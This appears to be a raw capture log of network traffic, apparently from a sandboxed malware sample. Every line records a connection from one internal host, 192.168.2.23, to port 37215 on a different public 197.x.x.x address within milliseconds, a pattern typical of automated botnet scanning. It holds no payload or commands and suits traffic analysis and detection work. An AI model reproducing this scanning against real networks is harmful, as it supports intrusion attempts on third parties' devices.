Feb 20, 2022 15:51:03.865257978 CET	1386	37215	192.168.2.23	197.173.230.214
Feb 20, 2022 15:51:03.865263939 CET	1386	37215	192.168.2.23	197.84.200.90
Feb 20, 2022 15:51:03.865266085 CET	1898	37215	192.168.2.23	197.15.120.188
Feb 20, 2022 15:51:03.865295887 CET	1898	37215	192.168.2.23	197.196.89.147
Feb 20, 2022 15:51:03.865309000 CET	1386	37215	192.168.2.23	197.223.255.224
Feb 20, 2022 15:51:03.865338087 CET	1898	37215	192.168.2.23	197.147.145.233
Feb 20, 2022 15:51:03.865339041 CET	1898	37215	192.168.2.23	197.222.225.254
Feb 20, 2022 15:51:03.865350008 CET	1386	37215	192.168.2.23	197.47.251.33
Feb 20, 2022 15:51:03.865386963 CET	1898	37215	192.168.2.23	197.232.108.87
Feb 20, 2022 15:51:03.865396023 CET	1386	37215	192.168.2.23	197.145.2.175
Feb 20, 2022 15:51:03.865398884 CET	1898	37215	192.168.2.23	197.192.189.54
Feb 20, 2022 15:51:03.865422010 CET	1386	37215	192.168.2.23	197.15.240.28
Feb 20, 2022 15:51:03.865433931 CET	1898	37215	192.168.2.23	197.127.118.0
Feb 20, 2022 15:51:03.865442991 CET	1898	37215	192.168.2.23	197.113.145.210
Feb 20, 2022 15:51:03.865464926 CET	1386	37215	192.168.2.23	197.114.142.252
Feb 20, 2022 15:51:03.865479946 CET	1898	37215	192.168.2.23	197.160.204.56
Feb 20, 2022 15:51:03.865503073 CET	1386	37215	192.168.2.23	197.203.21.201
Feb 20, 2022 15:51:03.865530014 CET	1898	37215	192.168.2.23	197.114.95.136
Feb 20, 2022 15:51:03.865555048 CET	1386	37215	192.168.2.23	197.222.141.206
Feb 20, 2022 15:51:03.865561008 CET	1386	37215	192.168.2.23	197.103.204.200
Feb 20, 2022 15:51:03.865573883 CET	1898	37215	192.168.2.23	197.171.251.243
Feb 20, 2022 15:51:03.865581036 CET	1386	37215	192.168.2.23	197.197.188.221
Feb 20, 2022 15:51:03.865585089 CET	1898	37215	192.168.2.23	197.48.204.53
Feb 20, 2022 15:51:03.865598917 CET	1898	37215	192.168.2.23	197.151.254.228
Feb 20, 2022 15:51:03.865611076 CET	1898	37215	192.168.2.23	197.254.147.168
Feb 20, 2022 15:51:03.865619898 CET	1386	37215	192.168.2.23	197.47.186.200
Feb 20, 2022 15:51:03.865637064 CET	1898	37215	192.168.2.23	197.173.84.49
Feb 20, 2022 15:51:03.865647078 CET	1386	37215	192.168.2.23	197.225.31.171
Feb 20, 2022 15:51:03.865670919 CET	1898	37215	192.168.2.23	197.178.151.195
Feb 20, 2022 15:51:03.865675926 CET	1898	37215	192.168.2.23	197.189.156.127
Feb 20, 2022 15:51:03.865700960 CET	1898	37215	192.168.2.23	197.194.183.126
Feb 20, 2022 15:51:03.865704060 CET	1386	37215	192.168.2.23	197.88.185.192
Feb 20, 2022 15:51:03.865731001 CET	1898	37215	192.168.2.23	197.113.213.177
Feb 20, 2022 15:51:03.865734100 CET	1386	37215	192.168.2.23	197.19.9.162
Feb 20, 2022 15:51:03.865756035 CET	1898	37215	192.168.2.23	197.119.254.124
Feb 20, 2022 15:51:03.865762949 CET	1386	37215	192.168.2.23	197.148.164.127
Feb 20, 2022 15:51:03.865797997 CET	1898	37215	192.168.2.23	197.243.214.209
Feb 20, 2022 15:51:03.865828991 CET	1898	37215	192.168.2.23	197.205.216.21
Feb 20, 2022 15:51:03.865835905 CET	1386	37215	192.168.2.23	197.45.242.138
Feb 20, 2022 15:51:03.865858078 CET	1386	37215	192.168.2.23	197.9.237.23
Feb 20, 2022 15:51:03.865870953 CET	1386	37215	192.168.2.23	197.52.18.175
Feb 20, 2022 15:51:03.865878105 CET	1898	37215	192.168.2.23	197.1.148.48
Feb 20, 2022 15:51:03.865880966 CET	1386	37215	192.168.2.23	197.190.191.29
Feb 20, 2022 15:51:03.865901947 CET	1898	37215	192.168.2.23	197.101.10.194
Feb 20, 2022 15:51:03.865926981 CET	1386	37215	192.168.2.23	197.238.255.169
Feb 20, 2022 15:51:03.865973949 CET	1386	37215	192.168.2.23	197.40.215.190
Feb 20, 2022 15:51:03.865991116 CET	1386	37215	192.168.2.23	197.67.167.224
Feb 20, 2022 15:51:03.865997076 CET	1898	37215	192.168.2.23	197.175.236.27
Feb 20, 2022 15:51:03.866014004 CET	1898	37215	192.168.2.23	197.123.252.238
Feb 20, 2022 15:51:03.866019011 CET	1898	37215	192.168.2.23	197.68.248.208
Feb 20, 2022 15:51:03.866030931 CET	1386	37215	192.168.2.23	197.102.68.71
Feb 20, 2022 15:51:03.866059065 CET	1898	37215	192.168.2.23	197.65.181.245
Feb 20, 2022 15:51:03.866060019 CET	1386	37215	192.168.2.23	197.92.57.247
Feb 20, 2022 15:51:03.866076946 CET	1898	37215	192.168.2.23	197.14.167.178
Feb 20, 2022 15:51:03.866091013 CET	1386	37215	192.168.2.23	197.85.82.110
Feb 20, 2022 15:51:03.866105080 CET	1898	37215	192.168.2.23	197.140.52.167
Feb 20, 2022 15:51:03.866127014 CET	1386	37215	192.168.2.23	197.66.13.134
Feb 20, 2022 15:51:03.866142988 CET	1898	37215	192.168.2.23	197.227.30.227
Feb 20, 2022 15:51:03.866154909 CET	1898	37215	192.168.2.23	197.7.110.133
Feb 20, 2022 15:51:03.866173029 CET	1386	37215	192.168.2.23	197.140.224.69
Feb 20, 2022 15:51:03.866173983 CET	1898	37215	192.168.2.23	197.23.54.231
Feb 20, 2022 15:51:03.866194010 CET	1386	37215	192.168.2.23	197.125.140.92
Feb 20, 2022 15:51:03.866204023 CET	1898	37215	192.168.2.23	197.150.158.87
Feb 20, 2022 15:51:03.866218090 CET	1898	37215	192.168.2.23	197.128.211.213
Feb 20, 2022 15:51:03.866226912 CET	1386	37215	192.168.2.23	197.66.0.142
Feb 20, 2022 15:51:03.866266966 CET	1386	37215	192.168.2.23	197.196.29.255
Feb 20, 2022 15:51:03.866276979 CET	1898	37215	192.168.2.23	197.92.53.35
Feb 20, 2022 15:51:03.866292953 CET	1898	37215	192.168.2.23	197.247.189.163
Feb 20, 2022 15:51:03.866308928 CET	1898	37215	192.168.2.23	197.182.250.77
Feb 20, 2022 15:51:03.866311073 CET	1386	37215	192.168.2.23	197.2.126.183
Feb 20, 2022 15:51:03.866332054 CET	1898	37215	192.168.2.23	197.58.77.194
Feb 20, 2022 15:51:03.866341114 CET	1386	37215	192.168.2.23	197.230.137.83
Feb 20, 2022 15:51:03.866353989 CET	1898	37215	192.168.2.23	197.44.114.164
Feb 20, 2022 15:51:03.866372108 CET	1386	37215	192.168.2.23	197.107.210.37
Feb 20, 2022 15:51:03.866405010 CET	1386	37215	192.168.2.23	197.159.68.123
Feb 20, 2022 15:51:03.866427898 CET	1386	37215	192.168.2.23	197.15.227.83
Feb 20, 2022 15:51:03.866440058 CET	1898	37215	192.168.2.23	197.214.229.171
Feb 20, 2022 15:51:03.866456032 CET	1386	37215	192.168.2.23	197.136.232.81
Feb 20, 2022 15:51:03.866462946 CET	1898	37215	192.168.2.23	197.13.161.152
Feb 20, 2022 15:51:03.866477013 CET	1898	37215	192.168.2.23	197.200.67.191
Feb 20, 2022 15:51:03.866477013 CET	1898	37215	192.168.2.23	197.17.135.190
Feb 20, 2022 15:51:03.866513014 CET	1386	37215	192.168.2.23	197.37.235.1
Feb 20, 2022 15:51:03.866522074 CET	1898	37215	192.168.2.23	197.254.138.234
Feb 20, 2022 15:51:03.866530895 CET	1386	37215	192.168.2.23	197.31.28.84
Feb 20, 2022 15:51:03.866542101 CET	1898	37215	192.168.2.23	197.191.127.238
Feb 20, 2022 15:51:03.866569996 CET	1898	37215	192.168.2.23	197.56.36.39
Feb 20, 2022 15:51:03.866575956 CET	1386	37215	192.168.2.23	197.217.169.168
Feb 20, 2022 15:51:03.866591930 CET	1898	37215	192.168.2.23	197.253.160.168
Feb 20, 2022 15:51:03.866605043 CET	1386	37215	192.168.2.23	197.207.109.123
Feb 20, 2022 15:51:03.866616011 CET	1898	37215	192.168.2.23	197.62.155.7
Feb 20, 2022 15:51:03.866641045 CET	1898	37215	192.168.2.23	197.17.131.148
Feb 20, 2022 15:51:03.866647959 CET	1386	37215	192.168.2.23	197.78.48.203
Feb 20, 2022 15:51:03.866658926 CET	1898	37215	192.168.2.23	197.114.17.152
Feb 20, 2022 15:51:03.866667986 CET	1898	37215	192.168.2.23	197.3.240.49
Feb 20, 2022 15:51:03.866693974 CET	1898	37215	192.168.2.23	197.77.222.80
Feb 20, 2022 15:51:03.866724014 CET	1898	37215	192.168.2.23	197.85.128.227
Feb 20, 2022 15:51:03.866735935 CET	1386	37215	192.168.2.23	197.32.68.247
Feb 20, 2022 15:51:03.866735935 CET	1386	37215	192.168.2.23	197.168.51.31
Feb 20, 2022 15:51:03.866739988 CET	1386	37215	192.168.2.23	197.72.212.62
Feb 20, 2022 15:51:03.866750956 CET	1898	37215	192.168.2.23	197.42.206.117
Feb 20, 2022 15:51:03.866786003 CET	1898	37215	192.168.2.23	197.122.99.58
Feb 20, 2022 15:51:03.866817951 CET	1386	37215	192.168.2.23	197.39.56.33
Feb 20, 2022 15:51:03.866825104 CET	1898	37215	192.168.2.23	197.18.127.31
Feb 20, 2022 15:51:03.866828918 CET	1386	37215	192.168.2.23	197.74.166.112
Feb 20, 2022 15:51:03.866836071 CET	1898	37215	192.168.2.23	197.128.173.168
Feb 20, 2022 15:51:03.866858959 CET	1898	37215	192.168.2.23	197.182.28.110
Feb 20, 2022 15:51:03.866889000 CET	1386	37215	192.168.2.23	197.147.121.150
Feb 20, 2022 15:51:03.866895914 CET	1386	37215	192.168.2.23	197.182.165.85
Feb 20, 2022 15:51:03.866899014 CET	1898	37215	192.168.2.23	197.254.251.255
Feb 20, 2022 15:51:03.866906881 CET	1386	37215	192.168.2.23	197.189.116.111
Feb 20, 2022 15:51:03.866911888 CET	1386	37215	192.168.2.23	197.54.81.168
Feb 20, 2022 15:51:03.866913080 CET	1898	37215	192.168.2.23	197.204.242.109
Feb 20, 2022 15:51:03.866949081 CET	1386	37215	192.168.2.23	197.109.35.147
Feb 20, 2022 15:51:03.866966963 CET	1898	37215	192.168.2.23	197.93.65.224
Feb 20, 2022 15:51:03.866976976 CET	1386	37215	192.168.2.23	197.177.255.27
Feb 20, 2022 15:51:03.867001057 CET	1386	37215	192.168.2.23	197.16.198.111
Feb 20, 2022 15:51:03.867002010 CET	1898	37215	192.168.2.23	197.2.166.119
Feb 20, 2022 15:51:03.867018938 CET	1898	37215	192.168.2.23	197.37.221.12
Feb 20, 2022 15:51:03.867024899 CET	1898	37215	192.168.2.23	197.192.63.178
Feb 20, 2022 15:51:03.867038965 CET	1386	37215	192.168.2.23	197.56.34.99
Feb 20, 2022 15:51:03.867046118 CET	1898	37215	192.168.2.23	197.108.77.118
Feb 20, 2022 15:51:03.867069006 CET	1386	37215	192.168.2.23	197.78.100.216
Feb 20, 2022 15:51:03.867091894 CET	1386	37215	192.168.2.23	197.177.109.131
Feb 20, 2022 15:51:03.867091894 CET	1898	37215	192.168.2.23	197.170.35.188
Feb 20, 2022 15:51:03.867108107 CET	1898	37215	192.168.2.23	197.11.66.193
Feb 20, 2022 15:51:03.867137909 CET	1898	37215	192.168.2.23	197.214.236.13
Feb 20, 2022 15:51:03.867139101 CET	1386	37215	192.168.2.23	197.21.22.47
Feb 20, 2022 15:51:03.867160082 CET	1898	37215	192.168.2.23	197.127.20.159
Feb 20, 2022 15:51:03.867196083 CET	1898	37215	192.168.2.23	197.108.144.167
Feb 20, 2022 15:51:03.867201090 CET	1386	37215	192.168.2.23	197.108.146.237
Feb 20, 2022 15:51:03.867218971 CET	1898	37215	192.168.2.23	197.243.84.50
Feb 20, 2022 15:51:03.867228985 CET	1386	37215	192.168.2.23	197.97.179.75
Feb 20, 2022 15:51:03.867229939 CET	1386	37215	192.168.2.23	197.177.170.223
Feb 20, 2022 15:51:03.867238998 CET	1898	37215	192.168.2.23	197.205.174.235
Feb 20, 2022 15:51:03.867254972 CET	1386	37215	192.168.2.23	197.159.85.79
Feb 20, 2022 15:51:03.867270947 CET	1898	37215	192.168.2.23	197.91.147.111
Feb 20, 2022 15:51:03.867290020 CET	1898	37215	192.168.2.23	197.9.171.219
Feb 20, 2022 15:51:03.867317915 CET	1898	37215	192.168.2.23	197.48.235.135
Feb 20, 2022 15:51:03.867347956 CET	1386	37215	192.168.2.23	197.65.120.208
Feb 20, 2022 15:51:03.867356062 CET	1898	37215	192.168.2.23	197.243.109.193
Feb 20, 2022 15:51:03.867363930 CET	1386	37215	192.168.2.23	197.176.145.124
Feb 20, 2022 15:51:03.867376089 CET	1898	37215	192.168.2.23	197.2.230.246
Feb 20, 2022 15:51:03.867382050 CET	1386	37215	192.168.2.23	197.142.53.40
Feb 20, 2022 15:51:03.867404938 CET	1898	37215	192.168.2.23	197.238.144.75
Feb 20, 2022 15:51:03.867422104 CET	1898	37215	192.168.2.23	197.32.32.45
Feb 20, 2022 15:51:03.867435932 CET	1386	37215	192.168.2.23	197.80.14.69
Feb 20, 2022 15:51:03.867453098 CET	1386	37215	192.168.2.23	197.158.206.175
Feb 20, 2022 15:51:03.867454052 CET	1898	37215	192.168.2.23	197.212.223.123
Feb 20, 2022 15:51:03.867475033 CET	1898	37215	192.168.2.23	197.86.165.39
Feb 20, 2022 15:51:03.867479086 CET	1386	37215	192.168.2.23	197.133.216.91
Feb 20, 2022 15:51:03.867495060 CET	1898	37215	192.168.2.23	197.13.37.161
Feb 20, 2022 15:51:03.867526054 CET	1898	37215	192.168.2.23	197.143.175.200
Feb 20, 2022 15:51:03.867526054 CET	1898	37215	192.168.2.23	197.209.63.138
Feb 20, 2022 15:51:03.867528915 CET	1386	37215	192.168.2.23	197.178.206.198
Feb 20, 2022 15:51:03.867542028 CET	1386	37215	192.168.2.23	197.133.25.19
Feb 20, 2022 15:51:03.867577076 CET	1898	37215	192.168.2.23	197.86.55.81
Feb 20, 2022 15:51:03.867580891 CET	1386	37215	192.168.2.23	197.35.218.207
Feb 20, 2022 15:51:03.867610931 CET	1386	37215	192.168.2.23	197.86.177.42
Feb 20, 2022 15:51:03.867626905 CET	1898	37215	192.168.2.23	197.93.247.117
Feb 20, 2022 15:51:03.867645025 CET	1898	37215	192.168.2.23	197.122.27.218
Feb 20, 2022 15:51:03.867651939 CET	1898	37215	192.168.2.23	197.5.131.55
Feb 20, 2022 15:51:03.867660046 CET	1386	37215	192.168.2.23	197.195.89.204
Feb 20, 2022 15:51:03.867676020 CET	1386	37215	192.168.2.23	197.152.76.89
Feb 20, 2022 15:51:03.867676973 CET	1898	37215	192.168.2.23	197.147.54.182
Feb 20, 2022 15:51:03.867712975 CET	1386	37215	192.168.2.23	197.222.242.157
Feb 20, 2022 15:51:03.867722034 CET	1898	37215	192.168.2.23	197.236.213.202
Feb 20, 2022 15:51:03.867738962 CET	1386	37215	192.168.2.23	197.37.250.44
Feb 20, 2022 15:51:03.867743969 CET	1898	37215	192.168.2.23	197.12.163.144
Feb 20, 2022 15:51:03.867770910 CET	1386	37215	192.168.2.23	197.206.46.40
Feb 20, 2022 15:51:03.867770910 CET	1898	37215	192.168.2.23	197.204.184.140
Feb 20, 2022 15:51:03.867791891 CET	1898	37215	192.168.2.23	197.188.201.239
Feb 20, 2022 15:51:03.867806911 CET	1386	37215	192.168.2.23	197.81.223.145
Feb 20, 2022 15:51:03.867810965 CET	1898	37215	192.168.2.23	197.48.152.43
Feb 20, 2022 15:51:03.867846012 CET	1898	37215	192.168.2.23	197.110.154.218
Feb 20, 2022 15:51:03.867854118 CET	1386	37215	192.168.2.23	197.175.86.237
Feb 20, 2022 15:51:03.867871046 CET	1386	37215	192.168.2.23	197.121.174.124
Feb 20, 2022 15:51:03.867877007 CET	1898	37215	192.168.2.23	197.91.21.22
Feb 20, 2022 15:51:03.867892981 CET	1898	37215	192.168.2.23	197.83.245.202
Feb 20, 2022 15:51:03.867906094 CET	1386	37215	192.168.2.23	197.206.65.2
Feb 20, 2022 15:51:03.867928982 CET	1898	37215	192.168.2.23	197.76.129.174
Feb 20, 2022 15:51:03.867942095 CET	1386	37215	192.168.2.23	197.236.83.190
Feb 20, 2022 15:51:03.867947102 CET	1898	37215	192.168.2.23	197.179.215.181
Feb 20, 2022 15:51:03.867973089 CET	1386	37215	192.168.2.23	197.44.30.109
Feb 20, 2022 15:51:03.867988110 CET	1898	37215	192.168.2.23	197.240.118.185
Feb 20, 2022 15:51:03.867995024 CET	1386	37215	192.168.2.23	197.218.186.10
Feb 20, 2022 15:51:03.868012905 CET	1898	37215	192.168.2.23	197.190.85.176
Feb 20, 2022 15:51:03.868027925 CET	1386	37215	192.168.2.23	197.225.251.220
Feb 20, 2022 15:51:03.868032932 CET	1898	37215	192.168.2.23	197.105.174.50
Feb 20, 2022 15:51:03.868058920 CET	1386	37215	192.168.2.23	197.19.138.64
Feb 20, 2022 15:51:03.868058920 CET	1898	37215	192.168.2.23	197.20.3.4
Feb 20, 2022 15:51:03.868103027 CET	1386	37215	192.168.2.23	197.43.55.246
Feb 20, 2022 15:51:03.868104935 CET	1898	37215	192.168.2.23	197.0.126.237
Feb 20, 2022 15:51:03.868112087 CET	1898	37215	192.168.2.23	197.59.159.63
Feb 20, 2022 15:51:03.868133068 CET	1898	37215	192.168.2.23	197.102.210.105
Feb 20, 2022 15:51:03.868143082 CET	1386	37215	192.168.2.23	197.240.114.172
Feb 20, 2022 15:51:03.868165970 CET	1386	37215	192.168.2.23	197.151.35.7
Feb 20, 2022 15:51:03.868170023 CET	1898	37215	192.168.2.23	197.95.215.162
Feb 20, 2022 15:51:03.868195057 CET	1898	37215	192.168.2.23	197.109.182.174
Feb 20, 2022 15:51:03.868196011 CET	1386	37215	192.168.2.23	197.230.85.57
Feb 20, 2022 15:51:03.868230104 CET	1898	37215	192.168.2.23	197.160.127.72
Feb 20, 2022 15:51:03.868232965 CET	1386	37215	192.168.2.23	197.158.81.90
Feb 20, 2022 15:51:03.868243933 CET	1898	37215	192.168.2.23	197.241.110.90
Feb 20, 2022 15:51:03.868261099 CET	1386	37215	192.168.2.23	197.115.126.30
Feb 20, 2022 15:51:03.868297100 CET	1898	37215	192.168.2.23	197.193.40.228
Feb 20, 2022 15:51:03.868302107 CET	1898	37215	192.168.2.23	197.165.183.225
Feb 20, 2022 15:51:03.868307114 CET	1386	37215	192.168.2.23	197.171.128.13
Feb 20, 2022 15:51:03.868316889 CET	1898	37215	192.168.2.23	197.236.114.16
Feb 20, 2022 15:51:03.868343115 CET	1386	37215	192.168.2.23	197.253.174.3
Feb 20, 2022 15:51:03.868355036 CET	1898	37215	192.168.2.23	197.165.63.111
Feb 20, 2022 15:51:03.868356943 CET	1386	37215	192.168.2.23	197.149.17.124
Feb 20, 2022 15:51:03.868367910 CET	1898	37215	192.168.2.23	197.150.180.222
Feb 20, 2022 15:51:03.868393898 CET	1898	37215	192.168.2.23	197.114.20.172
Feb 20, 2022 15:51:03.868397951 CET	1386	37215	192.168.2.23	197.113.238.207
Feb 20, 2022 15:51:03.868411064 CET	1898	37215	192.168.2.23	197.225.71.147
Feb 20, 2022 15:51:03.868427992 CET	1386	37215	192.168.2.23	197.166.92.64
Feb 20, 2022 15:51:03.868446112 CET	1898	37215	192.168.2.23	197.193.22.57
Feb 20, 2022 15:51:03.868458033 CET	1386	37215	192.168.2.23	197.123.235.189
Feb 20, 2022 15:51:03.868478060 CET	1898	37215	192.168.2.23	197.228.155.146
Feb 20, 2022 15:51:03.868479967 CET	1386	37215	192.168.2.23	197.69.143.38
Feb 20, 2022 15:51:03.868510962 CET	1898	37215	192.168.2.23	197.24.5.211
Feb 20, 2022 15:51:03.868513107 CET	1386	37215	192.168.2.23	197.144.67.65
Feb 20, 2022 15:51:03.868525028 CET	1898	37215	192.168.2.23	197.110.30.120
Feb 20, 2022 15:51:03.868544102 CET	1386	37215	192.168.2.23	197.22.55.143
Feb 20, 2022 15:51:03.868556976 CET	1898	37215	192.168.2.23	197.47.44.88
Feb 20, 2022 15:51:03.868576050 CET	1386	37215	192.168.2.23	197.37.202.215
Feb 20, 2022 15:51:03.868593931 CET	1898	37215	192.168.2.23	197.183.47.156
Feb 20, 2022 15:51:03.868606091 CET	1386	37215	192.168.2.23	197.20.179.81
Feb 20, 2022 15:51:03.868622065 CET	1898	37215	192.168.2.23	197.239.215.163
Feb 20, 2022 15:51:03.868645906 CET	1898	37215	192.168.2.23	197.158.69.50
Feb 20, 2022 15:51:03.868645906 CET	1386	37215	192.168.2.23	197.29.20.232
Feb 20, 2022 15:51:03.868674040 CET	1898	37215	192.168.2.23	197.20.121.101
Feb 20, 2022 15:51:03.868680954 CET	1386	37215	192.168.2.23	197.82.185.104
Feb 20, 2022 15:51:03.868706942 CET	1898	37215	192.168.2.23	197.19.201.41
Feb 20, 2022 15:51:03.868710995 CET	1386	37215	192.168.2.23	197.193.42.231
Feb 20, 2022 15:51:03.868733883 CET	1386	37215	192.168.2.23	197.117.240.205
Feb 20, 2022 15:51:03.868757010 CET	1898	37215	192.168.2.23	197.68.5.241
Feb 20, 2022 15:51:03.868774891 CET	1386	37215	192.168.2.23	197.244.140.63
Feb 20, 2022 15:51:03.868787050 CET	1898	37215	192.168.2.23	197.223.39.195
Feb 20, 2022 15:51:03.868798018 CET	1386	37215	192.168.2.23	197.82.75.214
Feb 20, 2022 15:51:03.868805885 CET	1898	37215	192.168.2.23	197.143.244.63
Feb 20, 2022 15:51:03.868828058 CET	1898	37215	192.168.2.23	197.16.253.29
Feb 20, 2022 15:51:03.868844032 CET	1386	37215	192.168.2.23	197.156.102.217
Feb 20, 2022 15:51:03.868855000 CET	1898	37215	192.168.2.23	197.80.69.38
Feb 20, 2022 15:51:03.868874073 CET	1898	37215	192.168.2.23	197.145.236.241
Feb 20, 2022 15:51:03.868877888 CET	1386	37215	192.168.2.23	197.174.60.49
Feb 20, 2022 15:51:03.868908882 CET	1898	37215	192.168.2.23	197.37.185.233
Feb 20, 2022 15:51:03.868912935 CET	1898	37215	192.168.2.23	197.19.130.152
Feb 20, 2022 15:51:03.868927002 CET	1386	37215	192.168.2.23	197.229.48.204
Feb 20, 2022 15:51:03.868936062 CET	1898	37215	192.168.2.23	197.86.107.65
Feb 20, 2022 15:51:03.868941069 CET	1386	37215	192.168.2.23	197.26.160.217
Feb 20, 2022 15:51:03.868956089 CET	1898	37215	192.168.2.23	197.181.109.17
Feb 20, 2022 15:51:03.868973970 CET	1386	37215	192.168.2.23	197.50.75.99
Feb 20, 2022 15:51:03.868993044 CET	1898	37215	192.168.2.23	197.140.242.144
Feb 20, 2022 15:51:03.868995905 CET	1898	37215	192.168.2.23	197.243.126.59
Feb 20, 2022 15:51:03.869005919 CET	1386	37215	192.168.2.23	197.62.152.78
Feb 20, 2022 15:51:03.869018078 CET	1898	37215	192.168.2.23	197.188.103.174
Feb 20, 2022 15:51:03.869040012 CET	1386	37215	192.168.2.23	197.68.216.161
Feb 20, 2022 15:51:03.869060040 CET	1898	37215	192.168.2.23	197.252.187.161
Feb 20, 2022 15:51:03.869076014 CET	1898	37215	192.168.2.23	197.212.0.58
Feb 20, 2022 15:51:03.869087934 CET	1386	37215	192.168.2.23	197.168.36.42
Feb 20, 2022 15:51:03.869092941 CET	1898	37215	192.168.2.23	197.71.19.10
Feb 20, 2022 15:51:03.869123936 CET	1386	37215	192.168.2.23	197.210.34.14
Feb 20, 2022 15:51:03.869136095 CET	1898	37215	192.168.2.23	197.210.90.42
Feb 20, 2022 15:51:03.869136095 CET	1386	37215	192.168.2.23	197.67.164.188
Feb 20, 2022 15:51:03.869144917 CET	1898	37215	192.168.2.23	197.142.201.246
Feb 20, 2022 15:51:03.869169950 CET	1386	37215	192.168.2.23	197.105.142.1
Feb 20, 2022 15:51:03.869177103 CET	1898	37215	192.168.2.23	197.243.212.182
Feb 20, 2022 15:51:03.869193077 CET	1898	37215	192.168.2.23	197.72.224.207
Feb 20, 2022 15:51:03.869203091 CET	1386	37215	192.168.2.23	197.180.226.123
Feb 20, 2022 15:51:03.869216919 CET	1898	37215	192.168.2.23	197.152.150.131
Feb 20, 2022 15:51:03.869227886 CET	1386	37215	192.168.2.23	197.218.28.63
Feb 20, 2022 15:51:03.869256020 CET	1386	37215	192.168.2.23	197.212.40.162
Feb 20, 2022 15:51:03.869261026 CET	1898	37215	192.168.2.23	197.201.191.31
Feb 20, 2022 15:51:03.869283915 CET	1898	37215	192.168.2.23	197.25.115.231
Feb 20, 2022 15:51:03.869302034 CET	1898	37215	192.168.2.23	197.174.172.101
Feb 20, 2022 15:51:03.869309902 CET	1386	37215	192.168.2.23	197.32.253.68
Feb 20, 2022 15:51:03.869333982 CET	1898	37215	192.168.2.23	197.113.208.74
Feb 20, 2022 15:51:03.869344950 CET	1386	37215	192.168.2.23	197.2.97.104
Feb 20, 2022 15:51:03.869373083 CET	1898	37215	192.168.2.23	197.239.36.52
Feb 20, 2022 15:51:03.869379997 CET	1386	37215	192.168.2.23	197.51.174.48
Feb 20, 2022 15:51:03.869399071 CET	1898	37215	192.168.2.23	197.66.223.76
Feb 20, 2022 15:51:03.869431973 CET	1898	37215	192.168.2.23	197.248.193.138
Feb 20, 2022 15:51:03.869450092 CET	1898	37215	192.168.2.23	197.69.30.207
Feb 20, 2022 15:51:03.869451046 CET	1386	37215	192.168.2.23	197.215.161.153
Feb 20, 2022 15:51:03.869481087 CET	1386	37215	192.168.2.23	197.221.110.167
Feb 20, 2022 15:51:03.869482040 CET	1386	37215	192.168.2.23	197.171.68.68
Feb 20, 2022 15:51:03.869493961 CET	1898	37215	192.168.2.23	197.124.57.156
Feb 20, 2022 15:51:03.869503975 CET	1898	37215	192.168.2.23	197.202.233.192
Feb 20, 2022 15:51:03.869518042 CET	1386	37215	192.168.2.23	197.126.251.181
Feb 20, 2022 15:51:03.869534969 CET	1898	37215	192.168.2.23	197.19.153.117
Feb 20, 2022 15:51:03.869550943 CET	1386	37215	192.168.2.23	197.195.12.207
Feb 20, 2022 15:51:03.869575977 CET	1386	37215	192.168.2.23	197.7.119.35
Feb 20, 2022 15:51:03.869586945 CET	1898	37215	192.168.2.23	197.1.118.51
Feb 20, 2022 15:51:03.869607925 CET	1898	37215	192.168.2.23	197.184.46.21
Feb 20, 2022 15:51:03.869612932 CET	1386	37215	192.168.2.23	197.225.21.169
Feb 20, 2022 15:51:03.869642019 CET	1386	37215	192.168.2.23	197.243.147.250
Feb 20, 2022 15:51:03.869647026 CET	1898	37215	192.168.2.23	197.223.147.10
Feb 20, 2022 15:51:03.869657993 CET	1898	37215	192.168.2.23	197.78.17.84
Feb 20, 2022 15:51:03.869678974 CET	1386	37215	192.168.2.23	197.155.87.185
Feb 20, 2022 15:51:03.869682074 CET	1898	37215	192.168.2.23	197.8.32.46
Feb 20, 2022 15:51:03.869697094 CET	1898	37215	192.168.2.23	197.114.154.125
Feb 20, 2022 15:51:03.869724035 CET	1898	37215	192.168.2.23	197.51.125.107
Feb 20, 2022 15:51:03.869726896 CET	1386	37215	192.168.2.23	197.157.129.110
Feb 20, 2022 15:51:03.869735956 CET	1386	37215	192.168.2.23	197.92.27.133
Feb 20, 2022 15:51:03.869761944 CET	1898	37215	192.168.2.23	197.17.252.114
Feb 20, 2022 15:51:03.869776011 CET	1386	37215	192.168.2.23	197.197.154.104
Feb 20, 2022 15:51:03.869786978 CET	1898	37215	192.168.2.23	197.79.170.49
Feb 20, 2022 15:51:03.869818926 CET	1386	37215	192.168.2.23	197.89.202.43
Feb 20, 2022 15:51:03.869822025 CET	1898	37215	192.168.2.23	197.86.92.182
Feb 20, 2022 15:51:03.869822979 CET	1386	37215	192.168.2.23	197.131.25.67
Feb 20, 2022 15:51:03.869837999 CET	1898	37215	192.168.2.23	197.161.5.19
Feb 20, 2022 15:51:03.869846106 CET	1386	37215	192.168.2.23	197.145.2.87
Feb 20, 2022 15:51:03.869880915 CET	1898	37215	192.168.2.23	197.13.142.187
Feb 20, 2022 15:51:03.869882107 CET	1386	37215	192.168.2.23	197.186.16.180
Feb 20, 2022 15:51:03.869908094 CET	1898	37215	192.168.2.23	197.116.10.71
Feb 20, 2022 15:51:03.869915962 CET	1386	37215	192.168.2.23	197.203.124.27
Feb 20, 2022 15:51:03.869940996 CET	1386	37215	192.168.2.23	197.126.166.232
Feb 20, 2022 15:51:03.869967937 CET	1386	37215	192.168.2.23	197.44.224.202
Feb 20, 2022 15:51:03.869976044 CET	1898	37215	192.168.2.23	197.67.18.65
Feb 20, 2022 15:51:03.870002031 CET	1898	37215	192.168.2.23	197.92.93.241
Feb 20, 2022 15:51:03.870009899 CET	1898	37215	192.168.2.23	197.222.222.213
Feb 20, 2022 15:51:03.870018005 CET	1386	37215	192.168.2.23	197.23.231.91
Feb 20, 2022 15:51:03.870043993 CET	1386	37215	192.168.2.23	197.63.5.71
Feb 20, 2022 15:51:03.870064974 CET	1898	37215	192.168.2.23	197.134.231.11
Feb 20, 2022 15:51:03.870079994 CET	1898	37215	192.168.2.23	197.128.114.88
Feb 20, 2022 15:51:03.870085955 CET	1386	37215	192.168.2.23	197.229.121.219
Feb 20, 2022 15:51:03.870088100 CET	1898	37215	192.168.2.23	197.185.160.68
Feb 20, 2022 15:51:03.870101929 CET	1898	37215	192.168.2.23	197.180.35.79
Feb 20, 2022 15:51:03.870115995 CET	1386	37215	192.168.2.23	197.208.137.84
Feb 20, 2022 15:51:03.870160103 CET	1386	37215	192.168.2.23	197.144.12.228
Feb 20, 2022 15:51:03.870163918 CET	1898	37215	192.168.2.23	197.97.219.116
Feb 20, 2022 15:51:03.870193958 CET	1386	37215	192.168.2.23	197.56.132.60
Feb 20, 2022 15:51:03.870194912 CET	1898	37215	192.168.2.23	197.111.42.114
